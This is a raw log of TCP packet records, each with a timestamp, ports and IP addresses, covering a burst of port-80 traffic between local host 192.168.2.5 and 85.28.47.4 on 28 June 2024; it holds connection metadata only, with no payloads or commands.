Jun 28, 2024 13:36:05.541887045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541897058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541898966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541908026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541918993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541919947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541929960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541940928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541950941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541960001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541960955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541960001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.541971922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.541982889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542021036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542625904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542635918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542644978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542655945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542665005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542675018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542689085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542690992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542701006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542711020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542711020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542721033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542731047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542741060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542751074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542752981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542761087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542772055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542782068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542792082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542794943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542802095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542812109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542819977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542823076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542833090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542843103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542845011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542851925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542862892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.542884111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.542896032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543565035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543576956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543587923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543598890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543608904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543610096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543618917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543628931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543642998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543653965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543662071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543663025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543673038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543683052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543693066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543703079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543704987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543713093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543724060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543732882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543734074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543744087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543755054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543757915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543766022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543775082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543781996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543785095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543795109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543804884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543806076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.543827057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.543847084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544596910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544610023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544630051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544646025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544646978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544656038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544667006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544672966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544677019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544687033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544698000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544701099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544708014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544718027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544728041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544734001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544737101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544748068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544755936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544756889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544768095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544778109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544783115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544789076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544802904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544805050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544814110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544823885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544827938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544835091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544845104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.544852018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.544883013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545151949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545162916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545171976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545181990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545192003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545197964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545223951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545312881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545324087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545348883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545380116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545433998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545444965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545454025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545464039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545474052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545475960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545484066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545494080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545504093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545510054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545512915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545526028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545533895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545535088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545567036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545568943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545576096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545586109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545587063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545595884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545607090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545617104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545627117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545629025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545635939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545646906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545656919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.545675039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545696974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.545768976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.550034046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.550064087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.550079107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.550088882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.550141096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.550187111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551186085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551196098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551206112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551215887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551225901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551234961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551240921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551246881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551263094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551286936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551321030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551331043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551341057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551351070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551359892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551359892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551371098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551381111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551384926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551397085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551407099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551409006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551430941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551449060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551623106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551632881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551642895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551656008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551666975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551666975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551703930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551749945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551774979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551784992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551789999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551795959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551805973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551816940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551822901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551826954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551836967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551846981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551857948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551866055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551867962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551877975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551887989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551892996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551898956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.551913977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.551939011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552189112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552198887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552207947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552227974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552248955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552326918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552341938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552351952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552362919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552370071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552372932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552382946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552392960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552402973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552408934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552412987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552424908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552433014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552440882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552453041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552457094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552479029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552639008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552649975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552659035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552669048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552679062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552683115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552689075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552697897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552702904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552710056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552719116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552726030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552728891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552743912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552750111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552755117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552764893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552768946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552803993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.552962065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552972078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552983046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552994013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.552998066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553004026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553014040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553026915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553034067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553035975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553072929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553098917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553108931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553117990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553128958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553133011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553138971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553148985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553159952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553168058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553170919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553204060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553210974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553215027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553225040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553235054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553241014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553244114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553255081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553261042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553263903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553275108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553283930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553292990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553298950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553303003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553313017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553323030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553347111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553366899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553711891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553721905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553731918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553744078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553751945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553754091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553764105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553774118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553783894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553790092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553795099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.553812027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.553832054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554162025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554172039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554181099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554191113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554199934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554203033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554209948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554219961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554225922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554229975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554240942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554248095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554250002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554260015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554267883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554270983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554292917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554310083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554311991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554320097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554330111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554339886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554346085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554349899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554366112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.554367065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554378033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.554388046 CEST	80	49705	85.28.47.4	192.168.2.5
